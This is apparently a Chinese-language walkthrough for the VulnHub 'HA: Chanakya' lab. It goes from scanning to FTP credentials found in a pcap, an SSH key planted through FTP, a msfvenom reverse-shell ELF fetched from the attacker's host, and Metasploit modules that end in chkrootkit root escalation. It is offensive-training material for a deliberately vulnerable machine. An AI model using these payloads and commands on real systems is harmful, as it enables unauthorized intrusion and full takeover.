HackTheNmae:HA Chanakya
The Mastermind that took down kingdoms is back and this time he has created a puzzle that would make you scratch you brains! It’s time to face Chanakya.
Will you be able to solve this Boot to Root and prove that you are wiser?
ENUMERATION IS THE KEY!!!!!
下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/
难度:中等
目的:拿到 192.168.194 .128的 Root 权限
靶机IP:192.168.194.128
攻击机器IP:192.168.194.129

一、信息收集

因为是在一个局域网中搭建的,且都通过NAT模式连接;已知KALI的IP为192.168.194.129,所以其他所有以NAT模式连接的机器都将分配C段IP。利用nmap的TCP半开放扫描探测目标机器。

nmap -sS 192.168.194.0/24

发现目标机器开放21 22 80端口

二、渗透初始

利用dirsearch和dirb对网站目录进行扫描,得到一个敏感txt文件和两个文件夹

访问http://192.168.194.128/abuse.txt后得到“nfubxn.cpncat”内容,rot13解密后得到:“ ashoka.pcapng ”,访问 http://192.168.194.128/ashoka.pcapng 下载得到该流量包。利用WireShark加载打开发现存在FTP协议登录的流量包信息,并找到登录FTP服务的用户名和密码ashoka/kautilya

访问ftp://192.168.194.128输入用户名密码后登录

拿到FTP服务器后原本想上传个elf马执行回弹Shell,但是后来发现FTP服务上也没法运行啊。 后来在网上找了一下,可以从 SSH 中的 id_rsa.pub 下手!原理是:在KALI生成一个id_rsa.pub的密匙,然后通过 FTP 来上传我们的密匙,因为它服务器上有我们的密匙,从而我们就可以用 SSH 来进行连接!

在KAli上生成公钥

ssh-keygen:生成ssh公钥认证所需的公钥和私钥文件,密码为:toor
其中,密匙保存在:root/.ssh/id_rsa

然后我们把 id_rsa.pub 里的内容重定向到 authorized_keys 文件中,再移动到 /root/ 目录下,方便 FTP 上传:

cat id_rsa.pub > authorized_keys
mv  authorized_keys /root/

Linux下登录FTP:ftp 192.168.194.128 输入用户名和密码

创建一个 .ssh 目录,上传 authorized_keys 文件, 再上传 authorized_keys 文件

ssh ashoka@192.168.194.128 输入yes之后成功登入

三、权限提升

现在已经拿到一个Shell了,但是不是root权限的,接下来利用msfvenom在root目录下生成一个elf的木马。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.194.129 LPORT=6666 -f elf > shell.elf

在KAli的root目录下开启一个HTTP服务 python -m SimpleHTTPServer 默认开启8000端口,接下来通过wget下载shell.elf文件“wget http://192.168.194.129:8000/shell.elf”,再chmod 777 shell.elf使其具有可执行权限。

这里踩了一个坑,通过FTP服务上传了shell.elf,结果无法运行,这是因为FTP服务上传的文件是root权限了,而通过wget下载的却是以ashoka用户身份下载。然后开启MSF。

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 6666
set lhost 192.168.194.129
run

补充:生成x86的反弹shell马是因为目标机器的系统版本是x86的,通过uname -a查看得到

拿到meterpreter的session后,使用POST模块查看可提权模块

run post/multi/recon/local_exploit_suggester

接着bg将meterpreter的session放到后台

use exploit/linux/local/netfilter_priv_esc_ipv4
set rhost 192.168.194.128
set session 1
run

提权一波结果失败了,尝试使用一下命令注入:

use exploit/multi/script/web_delivery
set lhost 192.168.194.129
run

run后会生成一段python代码,将这段代码放到目标及执行后会回弹一个Shell,但是回弹后的权限依然是普通用户权限

最后尝试利用chkrootkit模块提权,该模块有crontab,会定期以root身份执行/tmp/update文件。 注:该模块使用前提是目标机器是Linux系统

use exploit/unix/local/chkrootkit
set rhosts 192.168.194.128
set session 2
set lport 8888
exploit

python -c’import pty;pty.spawn(“/bin/bash”)’